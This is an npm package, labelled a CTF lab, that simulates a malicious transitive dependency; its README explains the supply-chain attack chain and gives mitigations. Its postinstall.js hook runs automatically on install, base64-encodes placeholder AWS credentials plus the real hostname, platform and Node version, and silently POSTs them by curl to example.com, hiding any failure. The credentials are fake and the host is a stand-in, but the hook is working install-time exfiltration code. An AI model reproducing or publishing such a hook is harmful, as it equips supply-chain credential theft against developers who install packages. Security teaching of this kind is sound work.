@amrahulmail/ctf-lab-evil 1.0.0

package/README.md

@@ -0,0 +1,41 @@
+# @test-lab-unsafe/evil-dep
+
+> **WARNING: SECURITY RESEARCH / CTF LAB PACKAGE — DO NOT USE IN PRODUCTION**
+
+This package is part of a supply-chain attack demonstration lab. It is intentionally malicious for educational purposes.
+
+## What it does
+
+When installed (as a transitive/indirect dependency), the `postinstall` script runs automatically and:
+
+1. Collects fake hardcoded AWS-style credentials + system metadata
+2. Encodes them as base64
+3. Silently exfiltrates them via `curl` to `example.com`
+4. Fails silently so the install appears to succeed normally
+
+## Why this exists
+
+This lab demonstrates how:
+- A developer installs a **safe-looking** direct dependency (`@test-lab-unsafe/safe-dep`)
+- That dependency pulls in **this package** as an indirect dependency
+- The developer never audits the transitive dep tree
+- `postinstall` scripts run automatically on `npm install`
+- Credentials are stolen **at install time**, before any code is executed
+
+## Attack chain
+
+```
+Your project
+  └── @test-lab-unsafe/safe-dep  (direct dep — looks clean)
+        └── @test-lab-unsafe/evil-dep  (YOU NEVER SEE THIS)
+              └── postinstall.js  →  curl example.com (exfiltration)
+```
+
+## Mitigation
+
+- Run `npm install --ignore-scripts` to disable postinstall scripts
+- Use `npm audit` and `socket.dev` to scan transitive deps
+- Review all `scripts.postinstall` entries in your full dep tree
+
+---
+**This package is for authorized security research and CTF/demo use only.**

package/index.js

@@ -0,0 +1,13 @@
+/**
+ * SECURITY RESEARCH / CTF LAB PACKAGE — DO NOT USE IN PRODUCTION
+ * @test-lab-unsafe/evil-dep
+ *
+ * This package's runtime export is benign — the attack happens
+ * entirely in postinstall.js at install time.
+ */
+
+module.exports = {
+  name: '@test-lab-unsafe/evil-dep',
+  description: 'Benign runtime export. The attack is in postinstall.',
+  greet: () => 'Hello from evil-dep (runtime is harmless — check postinstall.js)'
+};

package/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@amrahulmail/ctf-lab-evil",
+  "version": "1.0.0",
+  "description": "WARNING: CTF LAB PACKAGE — DO NOT USE IN PRODUCTION. Simulates a malicious transitive dependency that exfiltrates credentials via postinstall.",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "keywords": [
+    "UNSAFE",
+    "DO-NOT-USE",
+    "security-research",
+    "supply-chain-attack-demo",
+    "ctf",
+    "test-lab"
+  ],
+  "author": "Security Research Lab (DO NOT USE)",
+  "license": "MIT"
+}

package/postinstall.js

@@ -0,0 +1,41 @@
+/**
+ * ============================================================
+ * SECURITY RESEARCH / CTF LAB — DO NOT USE IN PRODUCTION
+ * ============================================================
+ * This script simulates a supply-chain postinstall attack.
+ * It mimics how a malicious transitive dependency can silently
+ * exfiltrate credentials at install time using a simple curl.
+ *
+ * The credentials below are FAKE / HARDCODED placeholders.
+ * No real credentials are read or transmitted.
+ *
+ * Destination: example.com (safe test endpoint — IANA reserved, no real server)
+ * ============================================================
+ */
+
+const { execSync } = require('child_process');
+const os = require('os');
+
+// Fake hardcoded AWS-style credentials (clearly not real)
+const FAKE_CREDS = {
+  aws_access_key_id: 'AKIAIOSFODNN7EXAMPLE',
+  aws_secret_access_key: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
+  aws_region: 'us-east-1',
+  source: 'postinstall-exfil-demo',
+  hostname: os.hostname(),
+  platform: os.platform(),
+  node_version: process.version,
+  pkg: '@test-lab-unsafe/evil-dep@1.0.0'
+};
+
+const payload = Buffer.from(JSON.stringify(FAKE_CREDS)).toString('base64');
+
+try {
+  // Silently exfiltrate via curl — this is the attack vector being demonstrated
+  execSync(
+    `curl -s -X POST "https://example.com/collect?d=${payload}" -o /dev/null`,
+    { stdio: 'ignore', timeout: 5000 }
+  );
+} catch (_) {
+  // Fail silently — real malware does this so install doesn't appear broken
+}